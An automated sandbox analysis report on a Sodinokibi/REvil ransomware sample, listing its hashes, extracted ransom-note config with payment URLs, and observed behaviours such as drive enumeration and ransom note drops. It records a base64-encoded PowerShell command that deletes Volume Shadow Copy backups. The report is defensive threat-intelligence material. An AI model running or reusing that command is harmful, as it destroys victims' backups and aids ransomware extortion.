Analysis
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max time kernel
18s -
max time network
23s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
29-09-2024 22:34
Behavioral task
behavioral1
Sample
ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe
Resource
win10v2004-20240802-en
General
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Target
ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe
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Size
165KB
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MD5
ff6818d770e34c64c37e6a83a7b24be5
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SHA1
8af7c387cb323c180fd9c4fde99572a0af8fb228
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SHA256
47e05f24669a0ffd7ca461aaf7e76e0b6e17f6cf424e4d854ddc584ee26ef42c
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SHA512
b929fa19a51807605d6d05ae10d0362fe1c0b136eb087ac947637f57fa53811ebe2f58520a123587e9017e6ef66ac1622f59a743adf79751706c4f2982c5ea63
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SSDEEP
3072:dopp2Xda3yJQZiiykM2pngXEOkzob8AUXT3INq:dGp3zZiXkMEnSEVzoQFT8q
Malware Config
Extracted
C:\Users\08jhyhvy1-readme.txt
sodinokibi
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/8FBAC3E418CA5F82
http://decryptor.cc/8FBAC3E418CA5F82
Signatures
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Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
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Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\S: ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe File opened (read-only) \??\T: ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe File opened (read-only) \??\F: ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe File opened (read-only) \??\O: ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe File opened (read-only) \??\H: ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe File opened (read-only) \??\M: ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe File opened (read-only) \??\P: ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe File opened (read-only) \??\U: ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe File opened (read-only) \??\X: ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe File opened (read-only) \??\Y: ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe File opened (read-only) \??\D: ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe File opened (read-only) \??\E: ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe File opened (read-only) \??\G: ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe File opened (read-only) \??\I: ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe File opened (read-only) \??\J: ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe File opened (read-only) \??\Q: ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe File opened (read-only) \??\V: ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe File opened (read-only) \??\A: ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe File opened (read-only) \??\K: ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe File opened (read-only) \??\L: ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe File opened (read-only) \??\N: ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe File opened (read-only) \??\R: ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe File opened (read-only) \??\W: ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe File opened (read-only) \??\Z: ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe File opened (read-only) \??\B: ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\r2auy5.bmp" ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe -
Drops file in Program Files directory 37 IoCs
description ioc Process File created \??\c:\program files\08jhyhvy1-readme.txt ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe File opened for modification \??\c:\program files\FormatGroup.ttc ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe File opened for modification \??\c:\program files\RequestSync.aif ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe File opened for modification \??\c:\program files\UpdateComplete.nfo ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe File opened for modification \??\c:\program files\ConvertMove.htm ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe File opened for modification \??\c:\program files\GetEnter.reg ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe File opened for modification \??\c:\program files\LockUninstall.mhtml ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe File opened for modification \??\c:\program files\ResumeSuspend.dxf ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe File opened for modification \??\c:\program files\UnpublishRename.emf ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe File opened for modification \??\c:\program files\WatchSend.ttc ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe File created \??\c:\program files (x86)\microsoft sql server compact edition\v3.5\08jhyhvy1-readme.txt ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe File opened for modification \??\c:\program files\CloseResume.ADT ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe File opened for modification \??\c:\program files\DenyOpen.vst ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe File opened for modification \??\c:\program files\DismountLimit.xhtml ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe File opened for modification \??\c:\program files\ExportUninstall.vsx ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe File opened for modification \??\c:\program files\PopEdit.css ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe File created \??\c:\program files (x86)\microsoft sql server compact edition\08jhyhvy1-readme.txt ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe File created \??\c:\program files (x86)\08jhyhvy1-readme.txt ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe File opened for modification \??\c:\program files\CopySkip.mp3 ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe File opened for modification \??\c:\program files\DenyPing.css ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe File opened for modification \??\c:\program files\ResetSync.raw ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe File opened for modification \??\c:\program files\ResumeBackup.gif ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe File opened for modification \??\c:\program files\ExpandMeasure.wmx ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe File opened for modification \??\c:\program files\UnblockJoin.clr ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe File opened for modification \??\c:\program files\BlockSearch.m4v ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe File opened for modification \??\c:\program files\CompressConvertTo.clr ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe File opened for modification \??\c:\program files\ConvertFromUnblock.xla ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe File opened for modification \??\c:\program files\SendGrant.TS ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe File opened for modification \??\c:\program files\WriteNew.odt ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe File created \??\c:\program files (x86)\microsoft sql server compact edition\v3.5\desktop\08jhyhvy1-readme.txt ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe File opened for modification \??\c:\program files\ApproveAdd.mpv2 ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe File opened for modification \??\c:\program files\CompleteEdit.tif ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe File opened for modification \??\c:\program files\EnableRequest.tiff ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe File opened for modification \??\c:\program files\JoinSplit.7z ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe File opened for modification \??\c:\program files\ResumeUnlock.edrwx ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe File opened for modification \??\c:\program files\UnblockSkip.3gp ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe File opened for modification \??\c:\program files\NewStep.mhtml ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe -
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2180 ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe 2480 powershell.exe -
Suspicious use of AdjustPrivilegeToken 5 IoCs
description pid Process Token: SeDebugPrivilege 2180 ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe Token: SeDebugPrivilege 2480 powershell.exe Token: SeBackupPrivilege 2560 vssvc.exe Token: SeRestorePrivilege 2560 vssvc.exe Token: SeAuditPrivilege 2560 vssvc.exe -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 2180 wrote to memory of 2480 2180 ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe 29 PID 2180 wrote to memory of 2480 2180 ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe 29 PID 2180 wrote to memory of 2480 2180 ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe 29 PID 2180 wrote to memory of 2480 2180 ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe 29 -
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\ff6818d770e34c64c37e6a83a7b24be5_JaffaCakes118.exe"1⤵
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2180 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2480
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:2176
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2560
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
6KB
MD54c83e1dec4e072947d5d853772f6db59
SHA1bca8ee864f788b8ac8962d50ea21ebf532f0e7d4
SHA25679c13a5f07dbf3b98205af56bb6104602d7d0cee8c270417794e6968dcd92d6c
SHA512f9810537d1479666276d28df278cff677ffb9e553380ed806df7de09cc8cc89149c78173072bf6638b6b6a9d59465e01fe7598fdc3576a68dbb455f76056c645